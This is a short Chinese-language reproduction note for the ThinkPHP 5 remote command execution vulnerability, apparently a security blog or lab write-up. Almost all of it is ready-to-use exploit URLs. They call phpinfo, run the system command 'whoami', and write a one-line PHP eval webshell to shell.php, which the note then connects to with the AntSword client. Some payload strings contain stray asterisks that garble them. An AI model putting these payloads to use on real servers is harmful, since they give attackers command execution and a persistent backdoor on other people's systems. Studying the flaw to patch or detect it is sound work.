背景
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
复现过程
phpinfo信息
1 | http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 |

远程命令执行
1 | http://ip:端口/index.php?s=index/think\app/invokefunction&function=call*_user_*func_array&vars[0]=system&vars[1][]=whoami |

写shell
1.先将一句话马进行url编码
1 | %3c%3fphp+eval(%24_POST%5b123%5d)+%3f%3e |
2.POC
1 | http://IP:端口/index.php?s=/index/\think\app/invokefunction&function=call*_user_*func*_array&vars[0]=file_*put_contents&vars[1][]=shell.php&vars[1][]=%3c%3fphp+eval(%24_POST%5b123%5d)+%3f%3e |

3.蚁剑连接
http://IP:端口/shell.php
